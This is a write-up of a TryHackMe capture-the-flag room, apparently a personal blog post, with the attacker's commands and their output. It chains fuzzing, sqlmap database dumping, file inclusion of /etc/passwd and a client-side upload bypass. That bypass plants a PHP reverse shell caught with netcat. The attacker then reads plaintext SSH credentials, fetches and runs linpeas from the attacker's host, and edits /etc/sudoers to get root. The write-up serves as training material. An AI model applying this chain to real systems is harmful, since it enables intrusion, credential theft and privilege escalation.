Let’s start with nmap:

╭─ ~                                                                                            
╰─❯ nmap -sC -sV 10.10.67.26 -p- -v
 
...
 
Nmap scan report for 10.10.67.26 (10.10.67.26)
Host is up (0.066s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE                 VERSION
21/tcp   open  ftp                     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.14.72.171
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh                     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 8f:77:51:1e:bb:58:c5:fb:08:a8:f7:7c:36:4e:b1:53 (RSA)
|   256 9f:48:d3:eb:0a:58:9e:aa:f1:bd:c7:6c:18:0b:67:bb (ECDSA)
|_  256 e3:cb:9a:d9:88:32:2d:62:87:81:d7:7b:35:e5:81:21 (ED25519)
53/tcp   open  domain                  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.16.1-Ubuntu
1337/tcp open  http                    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: EXPOSED
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
1883/tcp open  mosquitto version 1.6.9
| mqtt-subscribe:
|   Topics and their most recent payloads:
|     $SYS/broker/bytes/received: 18
|     $SYS/broker/load/sockets/1min: 1.67
|     $SYS/broker/load/messages/received/1min: 0.91
|     $SYS/broker/load/bytes/sent/15min: 0.27
|     $SYS/broker/load/connections/5min: 0.20
|     $SYS/broker/load/messages/sent/15min: 0.07
|     $SYS/broker/load/bytes/received/5min: 3.53
|     $SYS/broker/load/bytes/sent/1min: 3.65
|     $SYS/broker/load/messages/sent/1min: 0.91
|     $SYS/broker/load/connections/15min: 0.07
|     $SYS/broker/heap/maximum: 49688
|     $SYS/broker/load/bytes/sent/5min: 0.79
|     $SYS/broker/load/bytes/received/15min: 1.19
|     $SYS/broker/load/sockets/15min: 0.13
|     $SYS/broker/load/messages/sent/5min: 0.20
|     $SYS/broker/messages/received: 1
|     $SYS/broker/messages/sent: 1
|     $SYS/broker/load/connections/1min: 0.91
|     $SYS/broker/load/messages/received/15min: 0.07
|     $SYS/broker/store/messages/bytes: 179
|     $SYS/broker/load/sockets/5min: 0.39
|     $SYS/broker/version: mosquitto version 1.6.9
|     $SYS/broker/uptime: 462 seconds
|     $SYS/broker/load/bytes/received/1min: 16.45
|     $SYS/broker/bytes/sent: 4
|_    $SYS/broker/load/messages/received/5min: 0.20
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Of course let’s mark down that

  • anonymous FTP login is allowed

  • ISC BIND 9.16.1 is on port 53

  • apache2 is running on port 1337

  • mosquitto version 1.6.9 on port 1883

I have no idea what is mosquitto, everything else seems normal. Let’s research what’s that.

Eclipse Mosquitto is an open source (EPL/EDL licensed) message broker that implements the MQTT protocol versions 5.0, 3.1.1 and 3.1. Mosquitto is lightweight and is suitable for use on all devices from low power single board computers to full servers.

Let’s start with ftp!

ftp 10.10.67.26 -p 21
 
Connected to 10.10.67.26.
220 Welcome to the Expose Web Challenge.
Name (10.10.67.26:ch): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (10,10,67,26,190,178).
150 Here comes the directory listing.
226 Directory send OK.
ftp>

So it has nothing in it, but we might need it in future.

Let’s move to webserver.

../../images/Untitled 49.png|Untitled 49.png

Let’s run enumeration:

╭─ ~
╰─❯ ffuf -w /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt -ic -u http://10.10.67.26:1337/FUZZ
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://10.10.67.26:1337/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
admin                   [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 85ms]
javascript              [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 86ms]
                        [Status: 200, Size: 91, Words: 2, Lines: 7, Duration: 5909ms]
phpmyadmin              [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 84ms]
                        [Status: 200, Size: 91, Words: 2, Lines: 7, Duration: 88ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 85ms]
:: Progress: [207630/207630] :: Job [1/1] :: 455 req/sec :: Duration: [0:07:37] :: Errors: 0 ::
  • /admin looks quite interesting

Untitled-9.avif

  • /phpmyadmin is a standard phpmyadmin page

At this point I had no idea what to do cause bruteforcing admin panel sounds strange. There is no SQLi in them… I tried enumerating all subdirs available, found absolutely nothing.

So I’m gonna be honest I checked writeup that was it writeups section on THM

https://0xb0b.gitbook.io/writeups/tryhackme/2023/expose

And found out that problem was my fuzzing wordlist…

That will be a lesson for me to always use multiple wordlists when fuzzing subdirs or anything.

So let’s scan with the same wordlist that was used it that writeup.

It almost immediately finds /admin_101 that I was missing

╭─ ~/ctf/thm/expose                                                                                       
╰─❯ ffuf -w /usr/share/dirb/wordlists/big.txt -ic -u http://10.10.67.26:1337/FUZZ
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://10.10.67.26:1337/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 83ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 85ms]
admin                   [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 78ms]
admin_101               [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 81ms]
:: Progress: [6483/20469] :: Job [1/1] :: 484 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

This page has already entered username, that will make everything much easier.
Also let’s don’t forget about possibilities:

  • root.thm could be another domain with another webpage hosted
  • this directory can have interesting files/dirs
  • We can use that username on all three panels.

I’ll rerun enumeration on all directories with that wordlist to make sure I didn’t miss anything.

Found nothing in all dirs except /admin_101 where i ran two wordlists to be sure.

╭─ ~/ctf/thm/expose                                                                                       
╰─❯ ffuf -w /usr/share/dirb/wordlists/big.txt -ic -u http://10.10.67.26:1337/admin_101/FUZZ
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://10.10.67.26:1337/admin_101/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 81ms]
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 85ms]
assets                  [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 80ms]
includes                [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 83ms]
modules                 [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 81ms]
test                    [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 106ms]
:: Progress: [20469/20469] :: Job [1/1] :: 421 req/sec :: Duration: [0:00:42] :: Errors: 0 ::

/test is directory that contains nothing. I instantly remembered that we had
ftp server without any files. It might be the same directory! Let’s try
to upload something to it.

ftp> put test.html
227 Entering Passive Mode (10,10,67,26,26,62).
550 Permission denied.

We don’t have access to do so….

Only idea I have now is to use that username on all admin pages and try to SQLi with it or maybe bruteforce. Idea of SQLi is much better IMO. Let’s try sqlmap first.

We can pass POST request to sqlmap so let’s grab it.

We can just take them from browser:

../../images/Untitled 2.webp|Untitled 2.webp

../../images/Untitled 1.webp

We just copy and put it to file

$ cat request.txt
 
POST /admin_101/includes/user_login.php HTTP/1.1
Host: 10.10.67.26:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: http://10.10.67.26:1337
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.10.67.26:1337/admin_101/
Cookie: PHPSESSID=n8ure4pth9b90v21qm51d7n539
 
email=hacker%40root.thm&password=asd

And just run
sqlmap -r `pwd`/request.txt --dump

I had to use pwd cause on my arch installation sqlmap.py handles dir incorrectly
You can just use
sqlmap -r request.txt --dump

Database: expose
Table: config
[2 entries]
+----+------------------------------+-----------------------------------------------------+
| id | url                          | password                                            |
+----+------------------------------+-----------------------------------------------------+
| 1  | /file1010111/index.php       | <REDACTED>                    |
| 3  | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+
 
Database: expose
Table: user
[1 entry]
+----+-----------------+---------------------+--------------------------------------+
| id | email           | created             | password                             |
+----+-----------------+---------------------+--------------------------------------+
| 1  | [email protected] | 2023-02-21 09:05:46 | REDACTED |
+----+-----------------+---------------------+--------------------------------------+

We got password for user and hash.

Let’s login with password and keep that other password in mind.

../../images/Untitled 2 2.webp|Untitled 2 2.webp

Ok. Let’s return to hash, I don’t know what hash is it let’s just try crackstation.

../../images/Untitled 1 25.png|Untitled 1 25.png

Let’s open
/file1010111/index.php in browser

../../images/Untitled 3.webp

We got a hint!

../../images/Untitled 2 23.png|Untitled 2 23.png

So let’s try
?file=/etc/passwd

../../images/Untitled 4.webp

So we can acess files!

in
/etc/passwd we can see there are users:

root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zeamkish:x:1001:1001:Zeam Kish,1,1,:/home/zeamkish:/bin/bash

sqlmap gave us hint that username on /upload-cv00101011/index.php starts with z so i assume it might be it! Let’s try!

../../images/Untitled 5.webp

Let’s upload something and check in folder we found some time ago!

../../images/Untitled 6.webp

So we can only upload png to /upload-cv00101011/upload_thm_1001/

We should somehow upload php revshell bypassing that restriction script from page source code

function validate(){
 
 var fileInput = document.getElementById('file');
  var file = fileInput.files[0];
  
  if (file) {
    var fileName = file.name;
    var fileExtension = fileName.split('.').pop().toLowerCase();
    
    if (fileExtension === 'jpg' || fileExtension === 'png') {
      // Valid file extension, proceed with file upload
      // You can submit the form or perform further processing here
      console.log('File uploaded successfully');
	  return true;
    } else {
      // Invalid file extension, display an error message or take appropriate action
      console.log('Only JPG and PNG files are allowed');
	  return false;
    }
  }
}

So to check what is file extension it uses variable, that we can alter. Let’s do that

  1. We add here breakpoint:

    ../../images/Untitled 3 21.png|Untitled 3 21.png

  2. Let’s get pentestmonkey php revshell and put it to file.

  3. Start listener.

  4. After pressing upload we get breakpoint that we set earlier

  5. Let’s set variable using console.

    ../../images/Untitled 4 18.png|Untitled 4 18.png

  6. Now press continue code

../../images/Untitled 5 17.png|Untitled 5 17.png

Worked like a charm!

╭─ ~/ctf/thm/expose                                                                     
╰─❯ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 172.30.112.1 12497
Linux ip-10-10-67-26 5.15.0-1039-aws \#44~20.04.1-Ubuntu SMP Thu Jun 22 12:21:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 11:30:43 up  1:25,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (781): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-10-67-26:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ip-10-10-67-26:/$

While investigating I found /home/ubuntu/sqlmap

www-data@ip-10-10-67-26:/home/zeamkish$ ls -Fla
 
total 36
drwxr-xr-x 3 zeamkish zeamkish 4096 Jul  6  2023 ./
drwxr-xr-x 4 root     root     4096 Jun 30  2023 ../
-rw-rw-r-- 1 zeamkish zeamkish    5 Jul  6  2023 .bash_history
-rw-r--r-- 1 zeamkish zeamkish  220 Jun  8  2023 .bash_logout
-rw-r--r-- 1 zeamkish zeamkish 3771 Jun  8  2023 .bashrc
drwx------ 2 zeamkish zeamkish 4096 Jun  8  2023 .cache/
-rw-r--r-- 1 zeamkish zeamkish  807 Jun  8  2023 .profile
-rw-r----- 1 zeamkish zeamkish   27 Jun  8  2023 flag.txt
-rw-rw-r-- 1 root     zeamkish   34 Jun 11  2023 ssh_creds.txt
www-data@ip-10-10-67-26:/home/zeamkish$ cat flag.txt
 
cat: flag.txt: Permission denied
www-data@ip-10-10-67-26:/home/zeamkish$ cat ssh_creds.txt
 
SSH CREDS
zeamkish
REDACTED

Let’s use them!

zeamkish@ip-10-10-67-26:~$ cat flag.txt
THM{REDACTED}
 
zeamkish@ip-10-10-67-26:~$ sudo -l
[sudo] password for zeamkish:
Sorry, user zeamkish may not run sudo on ip-10-10-67-26.
 
zeamkish@ip-10-10-67-26:/var/www/html/admin_101$ ls -Fla
...
drwxrwxrwx 2 ubuntu ubuntu 4096 Jun  8  2023 test/
...

Let’s run linpeas

On host:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
python3 -m http.server

On target:

wget http://10.14.72.171:8000/linpeas.sh
sh linpeas.sh

../../images/Untitled 6 14.png|Untitled 6 14.png

Let’s visit gtfobins

It doesn’t help us to get root shell, but we can just run

/usr/bin/nano /etc/sudoers
and add our user there

zeamkish ALL=(ALL) ALL

Now we can use sudo!

$ sudo -i
# ls
flag.txt  snap
# cat flag.txt
THM{REDACTED}